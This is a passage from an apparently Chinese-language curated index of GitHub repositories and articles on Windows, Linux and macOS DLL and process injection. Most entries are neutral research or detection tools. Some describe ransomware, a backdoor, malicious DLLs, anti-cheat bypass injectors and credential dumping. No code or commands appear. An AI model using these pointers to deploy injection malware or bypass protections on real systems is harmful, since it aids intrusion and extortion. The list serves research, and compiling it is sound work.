- [**38**星][2m] [Assembly] [danielkrupinski/inflame](https://github.com/danielkrupinski/inflame) User-mode Windows DLL injector written in Assembly language (FASM syntax) with WinAPI.
- [**37**星][4m] [C++] [nanoric/pkn](https://github.com/nanoric/pkn) pkn game hacking项目核心：进程管理、内存管理和DLL注入
- [**36**星][7m] [C++] [blole/injectory](https://github.com/blole/injectory) command-line interface dll injector
- [**33**星][3m] [C++] [notscimmy/libinject](https://github.com/notscimmy/libinject) Currently supports injecting signed/unsigned DLLs in 64-bit processes
- [**31**星][4m] [Py] [fullshade/poppopret-nullbyte-dll-bypass](https://github.com/fullshade/poppopret-nullbyte-dll-bypass) 绕过一个空字节在一个popp - popp - retn地址为利用本地SEH溢出通过DLL注入的方法
- [**30**星][6m] [C++] [psmitty7373/eif](https://github.com/psmitty7373/eif) Evil Reflective DLL Injection Finder
- [**29**星][4m] [C++] [m-r-j-o-h-n/swh-injector](https://github.com/m-r-j-o-h-n/swh-injector) An Injector that can inject dll into game process protected by anti cheat using SetWindowsHookEx.
- [**29**星][4y] [C++] [stormshield/beholder-win32](https://github.com/stormshield/beholder-win32) A sample on how to inject a DLL from a kernel driver
- [**28**星][4m] [Py] [fullshade/py-memject](https://github.com/fullshade/py-memject) A Windows .DLL injector written in Python
- [**27**星][6m] [HTML] [flyrabbit/winproject](https://github.com/flyrabbit/winproject) Hook, DLLInject, PE_Tool
- [**27**星][4m] [C] [ice3man543/zeusinjector](https://github.com/ice3man543/zeusinjector) An Open Source Windows DLL Injector With All Known Techniques Available
- [**27**星][5y] [C] [olsut/kinject-x64](https://github.com/olsut/kinject-x64) Kinject - kernel dll injector, currently available in x86 version, will be updated to x64 soon.
- [**27**星][5m] [C] [sqdwr/loadimageinject](https://github.com/sqdwr/loadimageinject) LoadImage Routine Inject Dll
- [**25**星][1y] [C#] [enkomio/managedinjector](https://github.com/enkomio/managedinjector) A C# DLL injection library
- [**25**星][6y] [C] [whyallyn/paythepony](https://github.com/whyallyn/paythepony) 使用反射DLL注入库注入到远程进程，加密和要求文件的赎金，并造成我的小马疯狂的系统。
- [**24**星][2m] [C#] [tmthrgd/dll-injector](https://github.com/tmthrgd/dll-injector) Inject and detour DLLs and program functions both managed and unmanaged in other programs, written (almost) purely in C#. [Not maintained].
- [**21**星][3y] [C] [al-homedawy/injector](https://github.com/al-homedawy/injector) A Windows driver used to facilitate DLL injection
- [**21**星][5y] [C] [nyx0/dll-inj3cti0n](https://github.com/nyx0/dll-inj3cti0n) Another dll injection tool.
- [**21**星][29d] [C++] [coreyauger/slimhook](https://github.com/coreyauger/slimhook) Demonstration of dll injection. As well loading .net runtime and calling .net code. Example hijacking d3d9 dll and altering rendering of games.
- [**17**星][12m] [C] [strobejb/injdll](https://github.com/strobejb/injdll) DLL Injection commandline utility
- [**17**星][5m] [C#] [cameronaavik/ilject](https://github.com/cameronaavik/ilject) Provides a way which you can load a .NET dll/exe from disk, modify/inject IL, and then run the assembly all in memory without modifying the file.
- [**15**星][2y] [C] [ntraiseharderror/phage](https://github.com/ntraiseharderror/phage) Reflective DLL Injection style process infector
- [**15**星][3y] [C] [portcullislabs/wxpolicyenforcer](https://github.com/portcullislabs/wxpolicyenforcer) Injectable Windows DLL which enforces a W^X memory policy on a process
- [**14**星][4m] [C#] [ulysseswu/vinjex](https://github.com/ulysseswu/vinjex) A simple DLL injection lib using Easyhook, inspired by VInj.
- [**13**星][1y] [C++] [matrix86/wincodeinjection](https://github.com/matrix86/wincodeinjection) Dll Injection and Code injection sample
- [**13**星][4y] [C++] [spl0i7/dllinject](https://github.com/spl0i7/dllinject) Mineweeper bot by DLL Injection
- [**12**星][4m] [C++] [sherazibrahim/dll-injector](https://github.com/sherazibrahim/dll-injector) 一个dll注入器
- [**11**星][9m] [C#] [ihack4falafel/dll-injection](https://github.com/ihack4falafel/dll-injection) C# program that takes process id and path to DLL payload to perform DLL injection method.
- [**9**星][18d] [C++] [pfussell/pivotal](https://github.com/pfussell/pivotal) A MITM proxy server for reflective DLL injection through WinINet
- [**9**星][9m] [C] [userexistserror/injectdll](https://github.com/userexistserror/injectdll) Inject a Dll from memory
- [**9**星][1y] [Assembly] [dentrax/dll-injection-with-assembly](https://github.com/dentrax/dll-injection-with-assembly) DLL Injection to Exe with Assembly using OllyDbg
- [**7**星][1y] [C] [haidragon/newinjectdrv](https://github.com/haidragon/newinjectdrv) APC注入DLL内核层
- [**6**星][2y] [thesph1nx/covenant](https://github.com/thesph1nx/covenant) Metepreter clone - DLL Injection Backdoor
- [**5**星][5y] [C++] [ciantic/remotethreader](https://github.com/ciantic/remotethreader) Helps you to inject your dll in another process
- [**5**星][4m] [C++] [reclassnet/reclass.net-memorypipeplugin](https://github.com/reclassnet/reclass.net-memorypipeplugin) A ReClass.NET plugin which allows direct memory access via dll injection.
- [**1**星][1y] [PS] [getrektboy724/maldll](https://github.com/getrektboy724/maldll) A bunch of malicius dll to inject to a process
***
## <a id="f69bdae6414fe41f7b2ff0a5ae646e0e"></a>文章
- 2020.02 [0x00sec] [DLL injections (safety)](https://0x00sec.org/t/dll-injections-safety/19496)
- 2019.08 [tyranidslair] [Windows Code Injection: Bypassing CIG Through KnownDlls](https://www.tiraniddo.dev/2019/08/windows-code-injection-bypassing-cig.html)
- 2019.08 [tyranidslair] [Windows Code Injection: Bypassing CIG Through KnownDlls](https://tyranidslair.blogspot.com/2019/08/windows-code-injection-bypassing-cig.html)
- 2019.03 [code610] [DLL Injection - part 2](https://code610.blogspot.com/2019/03/dll-injection-part-2.html)
- 2018.10 [pediy] [[原创]代替创建用户线程使用ShellCode注入DLL的小技巧](https://bbs.pediy.com/thread-247515.htm)
- 2018.10 [4hou] [如何利用DLL注入绕过Win10勒索软件保护](http://www.4hou.com/technology/13923.html)
- 2018.10 [0x00sec] [Reflective Dll Injection - Any Way to check If a process is already injected?](https://0x00sec.org/t/reflective-dll-injection-any-way-to-check-if-a-process-is-already-injected/8980/)
- 2018.09 [pediy] [[原创]win10_arm64 驱动注入dll 到 arm32程序](https://bbs.pediy.com/thread-247032.htm)
- 2018.09 [code610] [DLL Injection - part 1](https://code610.blogspot.com/2018/09/dll-injection-part-1.html)
- 2018.08 [freebuf] [sRDI：一款通过Shellcode实现反射型DLL注入的强大工具](http://www.freebuf.com/sectool/181426.html)
- 2018.08 [vkremez] [Let's Learn: Dissecting Panda Banker & Modules: Webinject, Grabber & Keylogger DLL Modules](https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html)
- 2018.07 [4hou] [注入系列——DLL注入](http://www.4hou.com/technology/12703.html)
- 2018.06 [0x00sec] [Reflective DLL Injection - AV detects at runtime](https://0x00sec.org/t/reflective-dll-injection-av-detects-at-runtime/7307/)
- 2018.06 [qq] [【游戏漏洞】注入DLL显示游戏窗口](http://gslab.qq.com/article-508-1.html)
- 2018.06 [pediy] [[原创]远程注入之dll模块深度隐藏](https://bbs.pediy.com/thread-228710.htm)
- 2018.02 [pediy] [[求助]内存dll的远程线程注入，如何使用MemoryModule开源库？](https://bbs.pediy.com/thread-224489.htm)
- 2017.12 [secist] [Mavinject | Dll Injected](http://www.secist.com/archives/5912.html)
- 2017.12 [secvul] [SSM终结dll注入](https://secvul.com/topics/951.html)
- 2017.10 [nsfocus] [【干货分享】Sandbox技术之DLL注入](http://blog.nsfocus.net/sandbox-technology-dll-injection/)
- 2017.10 [freebuf] [DLL注入新姿势：反射式DLL注入研究](http://www.freebuf.com/articles/system/151161.html)
- 2017.10 [pediy] [[原创]通过Wannacry分析内核shellcode注入dll技术](https://bbs.pediy.com/thread-221756.htm)
- 2017.09 [360] [利用DLL延迟加载实现远程代码注入](https://www.anquanke.com/post/id/86919/)
- 2017.09 [360] [Dll注入新姿势：SetThreadContext注入](https://www.anquanke.com/post/id/86786/)
- 2017.08 [silentbreaksecurity] [sRDI – Shellcode Reflective DLL Injection](https://silentbreaksecurity.com/srdi-shellcode-reflective-dll-injection/)
- 2017.08 [360] [DLL注入那些事](https://www.anquanke.com/post/id/86671/)
- 2017.08 [freebuf] [系统安全攻防战：DLL注入技术详解](http://www.freebuf.com/articles/system/143640.html)
- 2017.08 [pediy] [[翻译]多种DLL注入技术原理介绍](https://bbs.pediy.com/thread-220405.htm)
- 2017.07 [0x00sec] [Reflective DLL Injection](https://0x00sec.org/t/reflective-dll-injection/3080/)
- 2017.07 [zerosum0x0] [利用 SetThreadContext() 和 NtContinue() 实现反射 DLL 加载](https://zerosum0x0.blogspot.com/2017/07/threadcontinue-reflective-injection.html)
- 2017.07 [zerosum0x0] [Proposed Windows 10 EAF/EMET "Bypass" for Reflective DLL Injection](https://zerosum0x0.blogspot.com/2017/06/proposed-eafemet-bypass-for-reflective.html)
- 2017.05 [360] [NSA武器库：DOUBLEPULSAR的内核DLL注入技术](https://www.anquanke.com/post/id/86137/)
- 2017.05 [lallouslab] [7 DLL injection techniques in Microsoft Windows](http://lallouslab.net/2017/05/15/7-dll-injection-techniques-in-the-microsoft-windows/)
- 2017.05 [3or] [mimilib DHCP Server Callout DLL injection](https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html)
- 2017.05 [3or] [Hunting DNS Server Level Plugin dll injection](https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html)
- 2017.04 [arvanaghi] [DLL Injection Using LoadLibrary in C](https://arvanaghi.com/blog/dll-injection-using-loadlibrary-in-C/)
- 2017.04 [4hou] [通过APC实现Dll注入——绕过Sysmon监控](http://www.4hou.com/technology/4393.html)
- 2017.04 [bogner] [CVE-2017-3511: Code Injection through DLL Sideloading in 64bit Oracle Java](https://bogner.sh/2017/04/cve-2017-3511-code-injection-through-dll-sideloading-in-64bit-oracle-java/)
- 2017.04 [countercept] [Analyzing the DOUBLEPULSAR Kernel DLL Injection Technique](https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/)
- 2017.04 [countercept] [NSA武器库：DOUBLEPULSAR的内核DLL注入技术](https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/)
- 2017.04 [3gstudent] [通过APC实现Dll注入——绕过Sysmon监控](https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/)
- 2017.04 [pentestlab] [DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/)
- 2017.03 [pediy] [[原创]不用导出任何函数的DLL劫持注入,完美!](https://bbs.pediy.com/thread-216348.htm)
- 2016.06 [lowleveldesign] [!injectdll – a remote thread approach](https://lowleveldesign.org/2016/06/27/injectdll-a-remote-thread-approach/)
- 2016.06 [lowleveldesign] [!injectdll – a WinDbg extension for DLL injection](https://lowleveldesign.org/2016/06/22/injectdll-a-windbg-extension-for-dll-injection/)
- 2016.04 [ketansingh] [Hacking games with DLL Injection](https://ketansingh.net/hacking-games-with-dll-injection/)
- 2016.02 [freebuf] [通过 DLL 注入和代码修改绕过 XIGNCODE3 的反作弊保护](http://www.freebuf.com/articles/terminal/96741.html)
- 2016.01 [freebuf] [DLL注入的几种姿势（二）：CreateRemoteThread And More](http://www.freebuf.com/articles/system/94693.html)
- 2016.01 [freebuf] [DLL注入的几种姿势（一）：Windows Hooks](http://www.freebuf.com/articles/system/93413.html)
- 2015.11 [modexp] [DLL/PIC Injection on Windows from Wow64 process](https://modexp.wordpress.com/2015/11/19/dllpic-injection-on-windows-from-wow64-process/)
- 2015.09 [pediy] [[原创]c++ 载入内存中dll ,以及内存注入 (已开源)](https://bbs.pediy.com/thread-203894.htm)
- 2015.08 [rapid7] [Using Reflective DLL Injection to exploit IE Elevation Policies](https://blog.rapid7.com/2015/08/28/using-reflective-dll-injection-to-exploit-ie-elevation-policies/)
- 2015.07 [pediy] [[原创]今天写了个apc注入dll代码，可以当工具使用](https://bbs.pediy.com/thread-202078.htm)
- 2015.05 [codereversing] [Debugging Injected DLLs](http://www.codereversing.com/blog/archives/219)
- 2015.05 [WarrantyVoider] [DAI dll injection test - successfull](https://www.youtube.com/watch?v=hYU_W1gRtZE)
- 2015.04 [securestate] [DLL Injection Part 2: CreateRemoteThread and More](https://warroom.securestate.com/dll-injection-part-2-createremotethread-and-more/)
- 2015.03 [securestate] [DLL Injection Part 1: SetWindowsHookEx](https://warroom.rsmus.com/dll-injection-part-1-setwindowshookex/)
- 2015.03 [securestate] [DLL Injection Part 0: Understanding DLL Usage](https://warroom.rsmus.com/dll-injection-part-0-understanding-dll-usage/)
- 2014.10 [codingvision] [C# Inject a Dll into a Process (w/ CreateRemoteThread)](http://codingvision.net/miscellaneous/c-inject-a-dll-into-a-process-w-createremotethread)
- 2014.04 [pediy] [[分享]重读老文章：DLL注入的又一个梗](https://bbs.pediy.com/thread-186778.htm)
- 2014.04 [pediy] [[分享]老文章系列：APC注入DLL的梗](https://bbs.pediy.com/thread-186631.htm)
- 2014.03 [trustwave] [Old School Code Injection in an ATM .dll](https://www.trustwave.com/Resources/SpiderLabs-Blog/Old-School-Code-Injection-in-an-ATM--dll/)
- 2014.01 [osandamalith] [Ophcrack Path Subversion Arbitrary DLL Injection Code Execution](https://osandamalith.com/2014/01/18/ophcrack-path-subversion-arbitrary-dll-injection-code-execution/)
- 2013.12 [pediy] [[原创]DLL自卸载无模块注入源码(一)](https://bbs.pediy.com/thread-182069.htm)
- 2013.09 [debasish] [Inline API Hooking using DLL Injection](http://www.debasish.in/2013/09/inline-api-hooking-using-dll-injection.html)
- 2013.09 [freebuf] [对国内各种安全卫士产品的一种通用虐杀、DLL注入、本地代码执行的方法](http://www.freebuf.com/vuls/12597.html)
- 2013.08 [pediy] [[原创]重温远程注入-------无dll](https://bbs.pediy.com/thread-176702.htm)
- 2013.06 [msreverseengineering] [What is DLL Injection and How is it used for Reverse Engineering?](http://www.msreverseengineering.com/blog/2014/6/23/what-is-dll-injection-and-how-is-it-used-for-reverse-engineering)
- 2013.05 [pediy] [[原创]关于dll注入方法](https://bbs.pediy.com/thread-171190.htm)
- 2013.03 [pediy] [[原创]DLL注入之远线程方式](https://bbs.pediy.com/thread-167175.htm)
- 2013.02 [pediy] [[原创]易语言静态编译的DLL注入到其他语言写的EXE中后的完美卸载](https://bbs.pediy.com/thread-162742.htm)
- 2012.10 [octopuslabs] [DLL Injection – A Splash Bitmap](http://octopuslabs.io/legend/blog/archives/1785)
- 2012.09 [debasish] [KeyLogging through DLL Injection[The Simplest Way]](http://www.debasish.in/2012/09/keylogging-through-dll-injectionthe.html)
- 2012.09 [volatility] [MoVP 2.1 Atoms (The New Mutex), Classes and DLL Injection](https://volatility-labs.blogspot.com/2012/09/movp-21-atoms-new-mutex-classes-and-dll.html)
- 2012.06 [freebuf] [[更新]一款非常不错的dll注入器 – RemoteDLL V2](http://www.freebuf.com/sectool/3970.html)
- 2012.05 [brindi] [DLL and Code Injection in Python](http://brindi.si/g/blog/dll-and-code-injection-in-python.html)
- 2011.11 [pediy] [[原创]滴水逆向学习收获1-双进程无dll注入（1楼，17楼，21楼，27楼，30楼，33楼）[已更新至33楼]](https://bbs.pediy.com/thread-142554.htm)
- 2011.06 [pediy] [[原创]利用钩子函数来注入DLL的一个具体应用：点击桌面不同图标，播放相应音符](https://bbs.pediy.com/thread-136144.htm)
- 2011.01 [pediy] [[原创]进程管理dll注入综合小工具[附源码]](https://bbs.pediy.com/thread-127924.htm)
- 2010.12 [pediy] [[原创]Ring3下劫持CreateProcess注入dll](https://bbs.pediy.com/thread-126226.htm)
- 2010.01 [pediy] [[原创]dll注入辅助工具[带源码]](https://bbs.pediy.com/thread-104642.htm)
- 2009.08 [pediy] [[原创]最简单的DLL注入](https://bbs.pediy.com/thread-94799.htm)
- 2009.07 [pediy] [[原创]注入DLL之ANSI版--改自Jeffrey的《windows核心编程》](https://bbs.pediy.com/thread-92631.htm)
- 2009.04 [pediy] [不需要依赖dllmain触发的CE注入代码](https://bbs.pediy.com/thread-85899.htm)
- 2008.12 [pediy] [[原创][代程]远程线程详解(一):无DLL远程线程注入](https://bbs.pediy.com/thread-78032.htm)
- 2008.11 [sans] [Finding stealth injected DLLs](https://isc.sans.edu/forums/diary/Finding+stealth+injected+DLLs/5356/)
- 2008.11 [pediy] [[原创]N种内核注入DLL的思路及实现](https://bbs.pediy.com/thread-75887.htm)
- 2008.10 [pediy] [[原创]IAT HOOK 代码注入非DLL](https://bbs.pediy.com/thread-74569.htm)
- 2008.03 [pediy] [[献丑]Win32汇编实现DLL的远程注入及卸载](https://bbs.pediy.com/thread-60763.htm)
- 2007.12 [pediy] [[原创]QueueUserApc实现DLL注入](https://bbs.pediy.com/thread-56071.htm)
- 2006.11 [pediy] [再谈Dll注入NetTransport 2.25.337[原创]](https://bbs.pediy.com/thread-35556.htm)
- 2006.10 [pediy] [[原创]Dll注入NetTransport 2.25.337](https://bbs.pediy.com/thread-34096.htm)
- 2005.08 [pediy] [ApiHook，InjectDll 单元及其应用 [Delphi代码]](https://bbs.pediy.com/thread-16088.htm)
# <a id="97ceb80739f1d2efce08baaf98dce0fc"></a>进程注入
***
## <a id="5ed3d284b106ffdc141f447f59326b00"></a>工具
- [**2389**星][10d] [Py] [lmacken/pyrasite](https://github.com/lmacken/pyrasite) 向运行中的 Python进程注入代码
- [**1568**星][17d] [Py] [google/pyringe](https://github.com/google/pyringe) Python调试器，可附加Python进程并向其中注入代码
- [**1486**星][3m] [C] [rikkaapps/riru](https://github.com/rikkaapps/riru) 通过替换libmemtrack注入合子进程
- [**899**星][1y] [C++] [secrary/injectproc](https://github.com/secrary/injectproc) 多种DLL注入、进程替换、Hook注入、APC注入的实现
- [**655**星][4y] [C] [rentzsch/mach_inject](https://github.com/rentzsch/mach_inject) Mac OS X的进程间代码注入
- [**589**星][14d] [C] [gaffe23/linux-inject](https://github.com/gaffe23/linux-inject) Tool for injecting a shared object into a Linux process
- [**536**星][13d] [C] [odzhan/injection](https://github.com/odzhan/injection) Windows process injection methods
- [**435**星][11d] [Py] [davidbuchanan314/dlinject](https://github.com/davidbuchanan314/dlinject) Inject a shared library (i.e. arbitrary code) into a live linux process, without ptrace
- [**413**星][4y] [C#] [zenlulz/memorysharp](https://github.com/zenlulz/memorysharp) Windows程序内存编辑库，C#编写，可向远程进程注入输入和代码，或读取远程进程内存
- [**381**星][14d] [C++] [evilsocket/arminject](https://github.com/evilsocket/arminject) An application to dynamically inject a shared object into a running process on ARM architectures.
- [**376**星][12d] [C++] [theevilbit/injection](https://github.com/theevilbit/injection) various process injection technique
- [**363**星][4m] [C++] [safebreach-labs/pinjectra](https://github.com/safebreach-labs/pinjectra) 一个实现进程注入技术的类C/ c++类操作系统库(主要关注Windows 10 64位)
- [**362**星][4m] [C#] [rasta-mouse/tikitorch](https://github.com/rasta-mouse/tikitorch) Process Injection
- [**294**星][26d] [C] [quarkslab/quarkspwdump](https://github.com/quarkslab/quarkspwdump) Dump various types of Windows credentials without injecting in any process.
- [**267**星][2y] [C++] [chadski/sharpneedle](https://github.com/chadski/sharpneedle) Inject C# code into a running process
- [**246**星][16d] [C] [suvllian/process-inject](https://github.com/suvllian/process-inject) 在Windows环境下的进程注入方法：远程线程注入、创建进程挂起注入、反射注入、APCInject、SetWindowHookEX注入
- [**204**星][4y] [C] [dismantl/linux-injector](https://github.com/dismantl/linux-injector) Utility for injecting executable code into a running process on x86/x64 Linux
- [**163**星][1m] [C] [dhavalkapil/libdheap](https://github.com/dhavalkapil/libdheap) 可以透明地注入到不同进程的共享(动态)库，以检测glibc堆中的内存损坏
- [**157**星][9m] [C] [hasherezade/process_doppelganging](https://github.com/hasherezade/process_doppelganging) 进程注入技术 Process Doppelganging 的实现代码
- [**154**星][1m] [C] [ixty/mandibule](https://github.com/ixty/mandibule) 向远程进程注入ELF文件
- [**144**星][4m] [PS] [empireproject/psinject](https://github.com/empireproject/psinject) Inject PowerShell into any process
- [**142**星][4m] [C#] [3xpl01tc0d3r/processinjection](https://github.com/3xpl01tc0d3r/processinjection) This program is designed to demonstrate various process injection techniques
- [**142**星][4m] [C] [antoniococo/mapping-injection](https://github.com/antoniococo/mapping-injection) Just another Windows Process Injection
- [**126**星][8d] [C++] [ez8-co/yapi](https://github.com/ez8-co/yapi) fusion injector that reduce differences between x64, wow64 and x86 processes
- [**111**星][5m] [C++] [arno0x/tcprelayinjecter](https://github.com/arno0x/tcprelayinjecter) Tool for injecting a "TCP Relay" managed assembly into unmanaged processes
- [**110**星][16d] [Shell] [aoncyberlabs/cexigua](https://github.com/AonCyberLabs/Cexigua) Linux based inter-process code injection without ptrace(2)
- [**85**星][1m] [C] [elfmaster/saruman](https://github.com/elfmaster/saruman) ELF anti-forensics exec, for injecting full dynamic executables into process image (With thread injection)
- [**76**星][5y] [C++] [malwaretech/zombifyprocess](https://github.com/malwaretech/zombifyprocess) Inject code into a legitimate process
- [**62**星][8m] [C] [kubo/injector](https://github.com/kubo/injector) Library for injecting a shared library into a Linux or Windows process
- [**59**星][4y] [C] [infosecguerrilla/reflectivesoinjection](https://github.com/infosecguerrilla/reflectivesoinjection) 一种库注入技术，其中使用反射编程的概念将库从内存加载到主机进程中
- [**53**星][1m] [Py] [xiphosresearch/steelcon-python-injection](https://github.com/xiphosresearch/steelcon-python-injection) Python Process Injection PoC Code from my SteelCon talk in 2014
- [**52**星][6y] [C++] [georgenicolaou/heaveninjector](https://github.com/georgenicolaou/heaveninjector) Simple proof of concept code for injecting libraries on 64bit processes from a 32bit process
- [**47**星][7m] [PS] [3gstudent/code-execution-and-process-injection](https://github.com/3gstudent/code-execution-and-process-injection) Powershell to CodeExecution and ProcessInjection
- [**46**星][5y] [C++] [tandasat/remotewritemonitor](https://github.com/tandasat/remotewritemonitor) A tool to help malware analysts tell that the sample is injecting code into other process.
- [**37**星][4m] [C] [egguncle/ptraceinject](https://github.com/egguncle/ptraceinject) 进程注入
- [**31**星][25d] [ObjC] [cwbudde/cordova-plugin-wkwebview-inject-cookie](https://github.com/cwbudde/cordova-plugin-wkwebview-inject-cookie) Injects a cookie in order to start the sync processs with wkWebView
- [**30**星][2y] [C++] [ntraiseharderror/unrunpe](https://github.com/ntraiseharderror/unrunpe) PoC for detecting and dumping process hollowing code injection
- [**30**星][4m] [C#] [mr-un1k0d3r/remoteprocessinjection](https://github.com/mr-un1k0d3r/remoteprocessinjection) C# remote process injection utility for Cobalt Strike
- [**16**星][2y] [C++] [xfgryujk/injectexe](https://github.com/xfgryujk/injectexe) Inject the whole exe into another process
- [**16**星][1m] [C] [narhen/procjack](https://github.com/narhen/procjack) PoC of injecting code into a running Linux process
- [**14**星][24d] [C++] [eternityx/zinjector](https://github.com/eternityx/zinjector) zInjector is a simple tool for injecting dynamic link libraries into arbitrary processes
- [**10**星][2m] [JS] [lmangani/node_ssl_logger](https://github.com/lmangani/node_ssl_logger) Decrypt and log process SSL traffic via Frida Injection
- [**10**星][1y] [C++] [shaxzy/vibranceinjector](https://github.com/shaxzy/vibranceinjector) Mono process injector
- [**8**星][5y] [C++] [hkhk366/memory_codes_injection](https://github.com/hkhk366/memory_codes_injection) 将代码注入到另一个进程中，以监视和操作其他进程。这通常被用作杀毒软件
- [**6**星][2m] [ObjC] [couleeapps/mach_inject_32](https://github.com/couleeapps/mach_inject_32) Inject libraries into 32 processes on macOS Mojave
- [**6**星][3m] [Jupyter Notebook] [jsecurity101/detecting-process-injection-techniques](https://github.com/jsecurity101/detecting-process-injection-techniques) This is a repository that is meant to hold detections for various process injection techniques.
- [**1**星][2y] [C++] [malwaresec/processinjection](https://github.com/malwaresec/processinjection) Repo for process injection source files
- [**None**星][C] [realoriginal/ppdump-public](https://github.com/realoriginal/ppdump-public) 使用Zemana AntiMalware引擎打开一个特权句柄到一个PP/PPL进程并注入MiniDumpWriteDump()
***
## <a id="78df9ff3771ac1e9d9dff3eba0055d25"></a>文章
- 2020.04 [infosecinstitute] [MITRE ATT&CK spotlight: Process injection](https://resources.infosecinstitute.com/mitre-attck-spotlight-process-injection/)
- 2020.03 [jsecurity101] [Engineering Process Injection Detections -](https://posts.specterops.io/engineering-process-injection-detections-part-1-research-951e96ad3c85)
- 2020.02 [vkremez] [Let's Learn: Inside Parallax RAT Malware: Process Hollowing Injection & Process Doppelgänging API Mix: Part I](https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html)
- 2020.01 [BlackHat] [Process Injection Techniques - Gotta Catch Them All](https://www.youtube.com/watch?v=xewv122qxnk)
- 2020.01 [hakin9] [Mapping-Injection: Just another Windows Process Injection](https://hakin9.org/mapping-injection-just-another-windows-process-injection/)
- 2019.12 [HackersOnBoard] [DEF CON 27 - Itzik Kotler - Process Injection Techniques Gotta Catch Them All](https://www.youtube.com/watch?v=KSDR06TO_9o)
- 2019.11 [freebuf] [ATT&CK中的进程注入三部曲](https://www.freebuf.com/articles/web/218232.html)
- 2019.11 [4hou] [实现Windows进程注入的7种新方法](https://www.4hou.com/system/17735.html)
- 2019.10 [Cooper] [Fileless Malware Infection And Linux Process Injection In Linux OS - Hendrik Adrian](https://www.youtube.com/watch?v=RvBj8C5okp0)
- 2019.09 [freebuf] [在遇到shellcode注入进程时所使用的调试技](https://www.freebuf.com/articles/system/212248.html)
- 2019.09 [aliyun] [细说Cobalt Strike进程注入](https://xz.aliyun.com/t/6205)
- 2019.09 [aliyun] [进程注入概述（一）](https://xz.aliyun.com/t/6210)
- 2019.09 [sevagas] [Process PE Injection Basics](https://blog.sevagas.com/?Process-PE-Injection-Basics)
- 2019.08 [4hou] [远程进程shellcode注入调试技巧](https://www.4hou.com/system/19852.html)
- 2019.08 [cobaltstrike] [Cobalt Strike’s Process Injection: The Details](https://blog.cobaltstrike.com/2019/08/21/cobalt-strikes-process-injection-the-details/)
- 2019.07 [fortinet] [A Deep Dive Into IcedID Malware: Part I - Unpacking, Hooking and Process Injection](https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one.html)
- 2019.05 [4hou] [借助ProcessHollowing和代码注入感染合法进程：信息窃取恶意软件FormBook分析](https://www.4hou.com/technology/17823.html)
- 2019.04 [OALabs] [Reverse Engineering Quick Tip - Unpacking Process Injection With a Single Breakpoint](https://www.youtube.com/watch?v=Min6DWTHDBw)
- 2018.12 [4hou] [如何借助COM对Windows受保护进程进行代码注入（第二部分）](http://www.4hou.com/system/14904.html)
- 2018.11 [googleprojectzero] [利用COM向Windows受保护进程注入代码, Part2](https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html)
- 2018.11 [andreafortuna] [Process Injection and Persistence using Application Shimming](https://www.andreafortuna.org/dfir/malware-analysis/process-injection-and-persistence-using-application-shimming/)
- 2018.11 [4hou] [如何借助COM对Windows受保护进程进行代码注入](http://www.4hou.com/system/14133.html)
- 2018.10 [freebuf] [十种进程注入技术介绍：常见注入技术及趋势调查](https://www.freebuf.com/articles/system/187239.html)
- 2018.10 [360] [如何将.NET程序注入到非托管进程](https://www.anquanke.com/post/id/162914/)
- 2018.10 [aliyun] [使用COM将代码注入到受Windows保护的进程中](https://xz.aliyun.com/t/3070)
- 2018.10 [aliyun] [【老文】如何将.Net程序集注入非托管进程](https://xz.aliyun.com/t/3050)
- 2018.10 [googleprojectzero] [Injecting Code into Windows Protected Processes using COM - Part 1](https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html)
- 2018.10 [4hou] [如何针对Windows中ConsoleWindowClass对象实现进程注入](http://www.4hou.com/technology/13634.html)
- 2018.09 [aliyun] [windows 进程注入之控制台窗口类](https://xz.aliyun.com/t/2762)
- 2018.08 [4hou] [Windows进程注入：额外的窗口字节](http://www.4hou.com/system/13308.html)
- 2018.08 [aliyun] [Windows进程注入技术之额外的Window字节篇](https://xz.aliyun.com/t/2656)
- 2018.08 [aliyun] [Windows进程注入技术之PROPagate篇](https://xz.aliyun.com/t/2639)
- 2018.07 [malcomvetter] [.NET Process Injection](https://medium.com/p/1a1af00359bc)
- 2018.07 [4hou] [攻击者如何向正在运行的Linux进程注入恶意代码](http://www.4hou.com/technology/12736.html)
- 2018.07 [4hou] [Windows进程注入：如何将有效负载部署到目标进程的内存空间中执行](http://www.4hou.com/technology/12672.html)
- 2018.07 [360] [Windows进程注入payload分析](https://www.anquanke.com/post/id/151840/)
- 2018.05 [freebuf] [利用“进程注入”实现无文件复活 WebShell](http://www.freebuf.com/articles/web/172753.html)
- 2018.05 [4hou] [CTRL-INJECT进程注入技术详解](http://www.4hou.com/technology/11636.html)
- 2018.05 [360] [针对新型进程注入技术Ctrl-Inject的原理分析](https://www.anquanke.com/post/id/129769/)
- 2018.04 [360] [深入分析Get-InjectedThread进程注入检测工具的原理并尝试绕过](https://www.anquanke.com/post/id/104339/)
- 2018.04 [360] [深入分析恶意软件Formbook：混淆和进程注入（下）](https://www.anquanke.com/post/id/103429/)
- 2018.04 [360] [深入分析恶意软件Formbook：混淆和进程注入（上）](https://www.anquanke.com/post/id/103403/)
- 2018.03 [aliyun] [利用GDB实现进程注入](https://xz.aliyun.com/t/2164)
- 2018.02 [endgame] [Stopping Olympic Destroyer: New Process Injection Insights](https://www.endgame.com/blog/technical-blog/stopping-olympic-destroyer-new-process-injection-insights)
- 2018.01 [4hou] [恶意软件Ursnif的隐蔽进程注入技术分析](http://www.4hou.com/info/news/9902.html)
- 2018.01 [vkremez] [Let's Learn: Dissect Panda Banking Malware's "libinject" Process Injection Module](https://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html)
- 2017.12 [4hou] [Ursnif恶意软件变种技术新升级，利用TLS回调技术进程注入](http://www.4hou.com/system/8988.html)
